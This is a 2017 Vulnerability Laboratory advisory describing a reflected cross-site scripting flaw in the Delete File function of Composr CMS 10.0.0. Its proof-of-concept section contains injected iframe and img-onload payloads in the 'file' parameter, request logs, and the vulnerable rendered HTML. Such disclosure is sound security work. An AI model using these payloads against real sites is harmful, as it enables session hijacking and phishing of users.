Composr CMS 10.0.0 Cross Site Scripting

Composr CMS version 10.0.0 suffers from a cross site scripting vulnerability.

MD5 | 21e048ce65798c4e370687978d83f812

Document Title:
Composr CMS v10.0.0 - Cross Site Scripting Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500a! - 1.000a!

Product & Service Introduction:
Composr is a CMS with many social media features, for building modern, sophisticated websites. Composr supports many types
of content (galleries, news/newsletters, etc.) - and integrating rich media and advertising into them. Social features include
forums, member blogs, chat rooms, wiki, and content commenting/rating.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory team discovered a non-persistent cross site vulnerability in the official Composr v10.0.0 content management system web-application.

Vulnerability Disclosure Timeline:
2017-06-08: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
ocProducts Ltd
Product: Composr - Content Management System (Web-Application) 10.0.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
A non-persistent cross site scripting vulnerability has been discovered in the official Composr v10.0.0 content management system web-application.
The vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests for compromise.

The vulnerability is located in the `Error Exception` of the `Delete File` function. The remote attacker is able to inject own malicious code via
GET method request in the `file` parameter to provoke an execution. The injection point is the `file` parameter and the execution point occurs in
the error exception that displays the content to confirm a delete. The vulnerability is a classic cross site scripting issue with non-persistent
attack vector by client-side exploitation. The error message content that is redisplayed is not properly parsed.

The security risk of the cross site scripting vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the client-side cross site scripting vulnerability requires no privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to
malicious sources and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Delete File

[+] file

Affected Module(s):
[+] Error Exception-Handling

Proof of Concept (PoC):
The cross site scripting vulnerability can be exploited by remote attackers with low or medium user interaction and without privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploit
<iframe src=http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=
<iframe src=http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=
... ...
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src

--- PoC Session Logs ---

Status: 200[OK]
GET http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=%3E%22%3Cimg%3E%20%3E%22%3Cimg%20src=%22x%22%20onload=alert(document.domain)%20%3C20%3C31337.png&place=%2F&keep_fatalistic=1 Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept-Encoding[gzip, deflate]
Cookie[has_cookies=1; ocp_session=2109631150; _pk_id.2.bb5e=6d867d24869e482f.1494351713.1.1494352902.1494351713.; _pk_ses.2.bb5e=*; last_visit=1430288544]
Response Header:
Date[Tue, 09 May 2017 18:03:01 GMT]
Content-Type[text/html; charset=ISO-8859-1]
Expires[Mon, 20 Dec 1998 01:00:00 GMT]
Cache-Control[no-cache, max-age=0]

Status: 200[OK]
GET http://composr.localhost:8080/ocportal/cms/evil.source Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept-Encoding[gzip, deflate]
Cookie[has_cookies=1; ocp_session=2109631150; _pk_id.2.bb5e=6d867d24869e482f.1494351713.1.1494352902.1494351713.; _pk_ses.2.bb5e=*; last_visit=1430288544]
Response Header:
Date[Tue, 09 May 2017 18:03:01 GMT]
Content-Type[text/html; charset=iso-8859-1]

PoC: Vulnerable Source (Execution Point)
<article class="global_middle">
<nav class="global_breadcrumbs breadcrumbs" itemprop="breadcrumb" role="navigation">
<img class="breadcrumbs_img" src="http://composr.localhost:8080/ocportal/themes/default/images/breadcrumbs.png"
title="" alt="You are here">
<a title="" href="http://composr.localhost:8080/ocportal/index.php?page=start&keep_fatalistic=1">Home</a><span class="sep">
<span class="accessibility_hidden"> ?</span></span> <a title=""
href="http://composr.localhost:8080/ocportal/cms/index.php?page=cms&keep_fatalistic=1">Content Management</a>
<span class="sep"><span class="accessibility_hidden"> ?</span></span> <a title=""
href="http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&keep_fatalistic=1">File/Media library</a>
<span class="sep"><span class="accessibility_hidden"> ?</span></span> <span>Confirm</span>
<a id="maincontent"></a>
<h1 class="screen_title" itemprop="name" role="banner">
Delete file
Please confirm that you want to do the following:
<div class="box box___confirm_screen"><div class="box_inner">
Are you sure that you want to delete '>"<img> >"<img src="evil.source" onload="alert(document.cookie)" <31337.png'?="" <="" div=""></div>
<form title="" method="post" action="http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&
<input name="confirmed" value="1" type="hidden">
<p class="proceed_button">
<input onclick="disable_button_just_clicked(this);" accesskey="u" class="button_page" value="Proceed" type="submit">


Solution - Fix & Patch:
The vulnerability can be patched by a parse of the output in the error messag for invalid content on delete interaction.
This needs to be recognized during the development process in all the different delete functions.

Security Risk:
The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium (CVSS 3.3).

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (

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